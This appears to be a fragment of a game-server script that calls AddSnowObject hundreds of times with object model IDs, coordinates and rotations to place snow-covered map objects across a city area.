	AddSnowObject(5124, 2278.89843, -2286.31250, 15.33593, 0.00000, 0.00000, 45.00000);
	AddSnowObject(3753, 2299.18750, -2405.39843, 3.03906, 0.00000, 0.00000, 225.00000);
	AddSnowObject(3753, 2368.16406, -2523.86718, 3.03906, 0.00000, 0.00000, 90.00000);
	AddSnowObject(3753, 2454.82812, -2702.91406, 3.03906, 0.00000, 0.00000, 180.00000);
	AddSnowObject(5109, 2219.33593, -2558.80468, 4.98437, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4844, 2086.57031, -2733.68750, 1.64062, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4841, 2123.78906, -2576.32812, 15.33593, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5003, 2018.43750, -2585.50000, 18.78125, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4864, 1996.06250, -2677.55468, 14.13281, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4822, 2179.89843, -2407.41406, 15.33593, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5004, 2030.14062, -2417.69531, 12.31250, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4867, 1780.80468, -2604.14062, 12.54687, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4847, 1710.74218, -2745.40625, 3.27343, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4842, 1383.79687, -2707.74218, 3.27343, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4863, 1533.08593, -2677.43750, 11.29687, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4865, 1515.40625, -2602.50781, 12.54687, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4843, 1274.56250, -2551.86718, 3.27343, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4839, 1383.60937, -2633.05468, 15.33593, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4883, 1339.23437, -2456.69531, 15.08593, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4866, 1517.15625, -2449.64843, 12.55468, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4816, 1210.71093, -2467.78906, 1.07031, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4840, 1233.50000, -2438.00000, 8.14062, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4845, 1222.82812, -2291.23437, 7.07031, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4835, 1466.76562, -2286.43750, 16.58593, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4838, 1411.57812, -2265.07031, 12.50781, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4834, 1315.84375, -2286.33593, 13.43750, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4833, 1528.74218, -2252.64062, 12.68750, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4871, 1569.93750, -2378.24218, 12.46093, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4831, 1756.08593, -2286.50000, 16.39843, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4830, 1687.78125, -2286.53906, 10.25000, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4869, 1893.39062, -2269.60156, 14.60937, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5002, 1780.35937, -2437.60156, 12.55468, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5009, 2065.13281, -2269.60156, 15.32031, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4868, 2139.60937, -2292.42187, 15.32031, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5123, 2195.08593, -2266.61718, 12.56250, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5276, 2219.60156, -2200.49218, 12.50781, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4827, 2056.88281, -2187.35156, 6.27343, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5185, 2143.91406, -2166.92187, 13.85156, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5135, 2109.53125, -2163.91406, 16.78906, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5314, 2085.17968, -2132.70312, 12.41406, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5271, 2275.40625, -2095.26562, 12.50781, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5279, 2137.28906, -2063.27343, 13.85156, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5278, 2290.30468, -2170.43750, 16.05468, 0.00000, 0.00000, 45.00000);
	AddSnowObject(5274, 2317.71875, -2210.57812, 8.80468, 0.00000, 0.00000, 315.00000);
	AddSnowObject(5277, 2235.91406, -2282.46093, 13.18750, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5275, 2293.80468, -2172.77343, 11.71093, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5192, 2360.71875, -2117.00781, 16.25781, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5106, 2390.24218, -2013.87500, 16.04687, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5107, 2496.76562, -2108.36718, 19.50000, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5112, 2521.09375, -2049.24218, 18.73437, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5297, 2393.06250, -2049.24218, 18.09375, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5330, 2303.75000, -1982.78125, 12.42968, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5311, 2287.34375, -2024.38281, 12.53906, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5174, 2371.25781, -2024.32031, 16.58593, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5149, 2479.82812, -2009.00000, 15.18750, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5105, 2543.46093, -2142.28125, 10.19531, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5120, 2243.64843, -2021.01562, 12.41406, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5270, 2112.30468, -2001.79687, 9.76562, 0.00000, 0.00000, 45.00000);
	AddSnowObject(5273, 2153.40625, -2051.42968, 12.54687, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5272, 2213.17187, -2033.06250, 12.64843, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5343, 2136.50781, -1992.89062, 12.79687, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5347, 2130.63281, -1987.89843, 13.14843, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5122, 2184.43750, -1932.95312, 14.38281, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5119, 2176.06250, -1911.87500, 12.64843, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5329, 2216.18750, -1912.33593, 13.00000, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5111, 2271.35937, -1912.38281, 14.50781, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17567, 2288.18750, -1851.62500, 5.71093, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17594, 2314.85156, -1799.42187, 13.07031, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5513, 2200.72656, -1811.33593, 12.46093, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17595, 2217.48437, -1810.83593, 12.36718, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5141, 2271.19531, -1928.39062, 12.49218, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5349, 2143.67187, -1894.47656, 12.50000, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5181, 2167.03906, -1925.20312, 15.82812, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5118, 2107.77343, -1958.81250, 12.64843, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5182, 2115.00000, -1921.52343, 15.39062, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5117, 2031.25000, -1962.31250, 13.28906, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5121, 2041.65625, -1904.81250, 12.39843, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5116, 2361.27343, -1918.74218, 16.44531, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5168, 2385.18750, -1906.51562, 18.44531, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5178, 2479.85156, -1930.21093, 12.41406, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5187, 2439.28125, -1979.96093, 15.75000, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5142, 2489.23437, -1962.01562, 19.03906, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5355, 2582.42968, -1979.37500, 9.14843, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5296, 2652.92968, -2049.24218, 18.12500, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5143, 2639.40625, -2102.39843, 36.69531, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5113, 2758.53906, -2104.89843, 18.28125, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5188, 2718.44531, -1977.50000, 11.21875, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5133, 2845.64843, -1969.99218, 9.13281, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5172, 2906.73437, -1975.26562, 4.46875, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5173, 2768.44531, -2012.09375, 14.79687, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5144, 2768.56250, -1942.69531, 11.30468, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17582, 2739.21875, -1770.08593, 17.55468, 0.00000, 0.00000, 175.00000);
	AddSnowObject(17927, 2771.17187, -1901.49218, 11.21093, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17602, 2678.68750, -1849.80468, 9.90625, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4372, 2930.64843, -1778.92187, -60.81250, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17606, 2848.87500, -1799.57031, 10.32031, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17675, 2893.58593, -1586.53125, 10.22656, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17605, 2798.70312, -1657.29687, 10.98437, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17607, 2854.89843, -1525.40625, 9.89843, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17541, 2803.39843, -1573.80468, 20.29687, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17604, 2690.29687, -1657.30468, 10.89843, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17609, 2730.14062, -1572.89843, 20.63281, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17682, 2674.94531, -1622.54687, 14.17968, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17680, 2642.69531, -1540.80468, 19.59375, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17538, 2682.80468, -1507.41406, 44.14062, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17603, 2642.79687, -1733.10156, 9.69531, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17568, 2586.85937, -1744.06250, 6.58593, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17507, 2587.07812, -1589.44531, 15.27343, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17600, 2585.25781, -1732.34375, 11.13281, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17506, 2582.54687, -1872.63281, 6.58593, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17601, 2674.18750, -1860.69531, 11.21093, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5151, 2674.10156, -1990.78906, 15.18750, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17500, 2478.60156, -1851.48437, 6.47656, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5128, 2516.59375, -1875.55468, 11.67968, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5110, 2443.63281, -1901.32031, 18.00781, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5267, 2485.76562, -1900.43750, 18.53125, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17599, 2522.19531, -1773.00000, 12.46093, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17548, 2482.32812, -1783.14843, 14.44531, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17596, 2413.75000, -1820.83593, 12.46093, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17598, 2469.38281, -1732.21093, 12.57812, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17520, 2497.76562, -1762.39062, 15.62500, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17613, 2489.29687, -1668.50000, 12.29687, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17617, 2502.32031, -1649.58593, 15.19531, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17616, 2521.68750, -1692.85937, 14.86718, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17574, 2459.80468, -1714.88281, 12.08593, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17612, 2408.09375, -1658.90625, 12.39843, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17881, 2429.78906, -1681.84375, 12.64062, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17615, 2459.59375, -1695.60156, 13.59375, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17654, 2556.35156, -1612.91406, 15.90625, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17865, 2510.47656, -1543.27343, 21.71093, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17864, 2520.72656, -1530.25000, 22.74218, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17655, 2433.07031, -1611.55468, 12.03125, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17829, 2413.68750, -1576.64062, 16.20312, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17657, 2431.03906, -1603.49218, 20.20312, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17656, 2431.05468, -1677.42968, 20.31250, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17597, 2314.95312, -1741.32812, 12.48437, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17614, 2387.80468, -1695.64843, 13.74218, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17621, 2342.59375, -1682.70312, 12.09375, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17620, 2281.21093, -1695.64843, 13.44531, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17611, 2284.66406, -1656.71093, 13.42968, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17619, 2303.41406, -1622.42187, 9.05468, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17622, 2342.60937, -1608.81250, 16.91406, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17867, 2308.45312, -1599.38281, 4.63281, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17866, 2339.78906, -1583.99218, 14.96093, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17638, 2431.69531, -1514.35156, 22.90625, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17624, 2386.78906, -1524.35937, 22.91406, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17862, 2458.38281, -1532.43750, 22.99218, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17623, 2342.50000, -1534.00000, 22.89843, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17503, 2386.64062, -1454.34375, 27.22656, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17639, 2490.90625, -1504.32812, 22.92187, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17921, 2560.86718, -1474.34375, 22.91406, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17688, 2604.99218, -1465.86718, 25.21875, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17687, 2577.24218, -1447.23437, 30.77343, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17640, 2461.39062, -1445.78125, 25.82031, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17852, 2490.90625, -1474.34375, 27.34375, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17920, 2295.01562, -1564.46875, 12.32031, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5511, 2193.25000, -1543.54687, 9.70312, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5478, 2269.08593, -1487.55468, 20.73437, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5479, 2234.16406, -1590.25781, 16.66406, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17513, 2288.89843, -1525.50000, 17.89843, 0.00000, 0.00000, 0.00000);
	AddSnowObject(17610, 2224.03906, -1680.64062, 13.40625, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5480, 2208.37500, -1698.24218, 13.39062, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5510, 2192.79687, -1665.03906, 13.73437, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5440, 2207.67968, -1588.39062, 19.34375, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5509, 2150.39062, -1741.82812, 12.44531, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5430, 2148.95312, -1791.83593, 19.10156, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5419, 2078.15625, -1847.70312, 7.76562, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5183, 2111.65625, -1873.36718, 16.39843, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5180, 2163.67187, -1873.61718, 15.82031, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5418, 2112.93750, -1797.09375, 19.33593, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5508, 2085.85937, -1812.77343, 13.17968, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5528, 2101.29687, -1688.77343, 18.08593, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5506, 2079.83593, -1699.94531, 12.46093, 0.00000, 0.00000, 275.57501);
	AddSnowObject(5521, 2049.57812, -1781.67968, 18.32812, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5411, 2021.65625, -1810.72656, 18.60156, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5139, 2021.15625, -1893.27343, 15.17968, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5134, 2045.49218, -1903.61718, 16.18750, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5404, 1952.71875, -1856.78125, 7.08593, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4895, 1899.15625, -1936.33593, 14.26562, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5052, 1961.65625, -1863.11718, 12.46093, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5013, 1961.66406, -2001.89843, 12.54687, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5186, 2014.81250, -2041.14062, 12.53906, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4807, 1964.64062, -2109.42187, 14.10937, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4808, 1892.33593, -2037.64843, 12.46093, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4806, 1880.33593, -2001.92187, 12.57031, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4859, 1868.95312, -2003.65625, 13.75000, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5064, 1855.45312, -1958.46093, 12.64843, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4858, 1891.74218, -1872.28125, 14.85937, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5420, 1835.82031, -1815.14062, 7.64843, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5489, 1932.59375, -1782.10156, 12.50000, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5397, 1866.32812, -1789.78125, 20.94531, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4821, 1745.20312, -1882.85156, 26.14062, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5026, 1821.66406, -1872.31250, 12.40625, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4819, 1815.45312, -1958.46093, 12.64843, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4817, 1739.30468, -1951.95312, 12.37500, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4860, 1722.75000, -2014.63281, 16.50781, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4873, 1734.39843, -2019.70312, 14.34375, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4837, 1823.00781, -2087.17187, 12.46093, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4849, 1892.33593, -2109.50781, 12.54687, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4861, 1873.01562, -2101.83593, 15.89062, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4846, 1827.13281, -2158.85937, 14.51562, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5036, 1694.60156, -2131.11718, 12.55468, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5034, 1742.81250, -2292.75781, 3.92968, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4829, 1645.38281, -2292.75781, 3.91406, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4870, 1569.98437, -2194.72656, 12.46093, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4836, 1441.90625, -2166.64843, 13.27343, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4872, 1610.92968, -2010.62500, 23.13281, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5028, 1624.00000, -2113.61718, 23.10937, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4820, 1738.39062, -2117.02343, 13.93750, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4876, 1582.29687, -2002.23437, 26.60937, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4878, 1530.82812, -1969.13281, 26.39062, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4852, 1401.46093, -1994.58593, 35.43750, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4823, 1338.32812, -1976.65625, 36.60937, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4875, 1270.68750, -2196.78906, 42.56250, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4824, 1224.42968, -2037.00781, 62.92968, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4825, 1145.95312, -2037.00000, 65.51562, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4851, 1182.00781, -1987.63281, 39.99218, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4810, 1095.06250, -2214.21875, 41.72656, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5046, 1105.50000, -2355.95312, 16.31250, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4809, 1036.52343, -2204.43750, 14.16406, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4815, 1074.58593, -2321.74218, 10.85156, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4898, 992.85937, -2126.61718, 12.08593, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4896, 981.70312, -2155.85156, 1.07031, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4814, 1071.03125, -2354.00781, 1.07031, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4812, 1023.39843, -2166.10156, 23.10156, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5023, 1046.05468, -2251.50781, 33.64062, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4811, 1069.67187, -2270.89843, 23.10156, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4897, 985.72656, -2050.53125, 3.04687, 0.00000, 0.00000, 0.00000);
	AddSnowObject(5021, 1044.91406, -2023.39062, 17.50781, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4813, 1042.27343, -2029.80468, 23.10156, 0.00000, 0.00000, 0.00000);
	AddSnowObject(6065, 887.46093, -1878.39062, 3.12500, 0.00000, 0.00000, 0.00000);
	AddSnowObject(6118, 1050.07812, -1864.31250, 12.39843, 0.00000, 0.00000, 0.00000);
	AddSnowObject(6117, 1109.32031, -1852.37500, 12.56250, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4168, 1217.45312, -1852.26562, 12.47656, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4103, 1104.09375, -1780.90625, 25.29687, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4101, 1224.69531, -1782.20312, 29.89843, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4108, 1177.46093, -1782.25000, 12.66406, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4182, 1304.98437, -1792.28125, 12.46093, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4107, 1360.75781, -1802.25000, 12.49218, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4010, 1350.75781, -1802.28125, 12.69531, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4165, 1469.52343, -1872.37500, 12.46093, 0.00000, 0.00000, 0.00000);
	AddSnowObject(3997, 1479.33593, -1802.28906, 12.54687, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4207, 1603.81250, -1863.34375, 12.46093, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4133, 1625.09375, -1834.20312, 24.29687, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4209, 1569.93750, -1802.28906, 12.32031, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4122, 1629.46093, -1812.28906, 13.52343, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4160, 1686.62500, -1806.42968, 12.46093, 0.00000, 0.00000, 0.00000);
	AddSnowObject(3991, 1608.19531, -1721.80468, 26.00000, 0.00000, 0.00000, 0.00000);
	AddSnowObject(6116, 997.56250, -1798.51562, 12.95312, 0.00000, 0.00000, 0.00000);
	AddSnowObject(6054, 1036.41406, -1689.17968, 12.60937, 0.00000, 0.00000, 0.00000);
	AddSnowObject(6042, 952.34375, -1822.82031, 15.17968, 0.00000, 0.00000, 0.00000);
	AddSnowObject(6122, 798.09375, -1763.10156, 12.69531, 0.00000, 0.00000, 0.00000);
	AddSnowObject(6123, 917.39843, -1672.90625, 12.39843, 0.00000, 0.00000, 0.00000);
	AddSnowObject(6203, 956.19531, -1689.60156, 12.79687, 0.00000, 0.00000, 0.00000);
	AddSnowObject(6213, 880.30468, -1696.25000, 12.67968, 0.00000, 0.00000, 0.00000);
	AddSnowObject(6115, 1087.46093, -1712.26562, 12.46093, 0.00000, 0.00000, 0.00000);
	AddSnowObject(6128, 1207.46093, -1712.19531, 12.66406, 0.00000, 0.00000, 0.00000);
	AddSnowObject(6126, 1149.89843, -1642.14843, 12.60937, 0.00000, 0.00000, 0.00000);
	AddSnowObject(6102, 1226.95312, -1656.15625, 24.77343, 0.00000, 0.00000, 0.00000);
	AddSnowObject(3978, 1380.26562, -1655.53906, 10.80468, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4197, 1380.26562, -1655.53906, 10.80468, 0.00000, 0.00000, 270.00000);
	AddSnowObject(4198, 1380.26562, -1655.53906, 10.80468, 0.00000, 0.00000, 0.00000);
	AddSnowObject(6127, 1306.51562, -1630.35937, 12.46875, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4163, 1469.33593, -1732.28906, 12.46093, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4148, 1427.05468, -1662.28906, 12.46093, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4186, 1479.55468, -1693.14062, 19.57812, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4158, 1609.55468, -1732.32812, 12.46875, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4150, 1532.05468, -1662.28906, 12.46093, 0.00000, 0.00000, 0.00000);
	AddSnowObject(3975, 1578.46875, -1676.42187, 13.07031, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4029, 1629.54687, -1756.08593, 8.09375, 0.00000, 0.00000, 0.00000);
	AddSnowObject(3985, 1479.56250, -1631.45312, 12.07812, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4129, 1595.00000, -1603.02343, 27.03906, 0.00000, 0.00000, 0.00000);
	AddSnowObject(3989, 1646.00781, -1662.71875, 8.09375, 0.00000, 0.00000, 0.00000);
	AddSnowObject(3993, 1719.93750, -1662.28906, 12.46875, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4013, 1654.59375, -1637.74218, 28.64062, 0.00000, 0.00000, 0.00000);
	AddSnowObject(3987, 1722.05468, -1702.28906, 12.81250, 0.00000, 0.00000, 0.00000);
	AddSnowObject(3992, 1755.60156, -1782.30468, 12.46093, 0.00000, 0.00000, 0.00000);
	AddSnowObject(3983, 1722.50000, -1775.39843, 14.51562, 0.00000, 0.00000, 0.00000);
	AddSnowObject(3977, 1384.36718, -1511.43750, 10.10937, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4146, 1371.00000, -1582.34375, 12.45312, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4144, 1442.15625, -1517.53125, 12.45312, 0.00000, 0.00000, 0.00000);
	AddSnowObject(3994, 1479.55468, -1592.28906, 12.45312, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4020, 1544.83593, -1516.85156, 32.45312, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4142, 1494.75781, -1410.87500, 12.45312, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4139, 1406.17187, -1418.10156, 12.78906, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4712, 1546.98437, -1356.61718, 14.95312, 0.00000, 0.00000, 0.00000);
	AddSnowObject(3990, 1593.95312, -1416.35156, 26.66406, 0.00000, 0.00000, 0.00000);
	AddSnowObject(3996, 1596.35937, -1440.87500, 12.46093, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4131, 1588.44531, -1509.14062, 27.31250, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4128, 1666.91406, -1456.75000, 26.04687, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4127, 1664.12500, -1560.85156, 23.35156, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4152, 1658.10937, -1516.69531, 12.46093, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4233, 1603.90625, -1592.29687, 12.54687, 0.00000, 0.00000, 0.00000);
	AddSnowObject(4156, 1739.81250, -1602.19531, 12.45312, 0.00000, 0.00000, 0.00000);
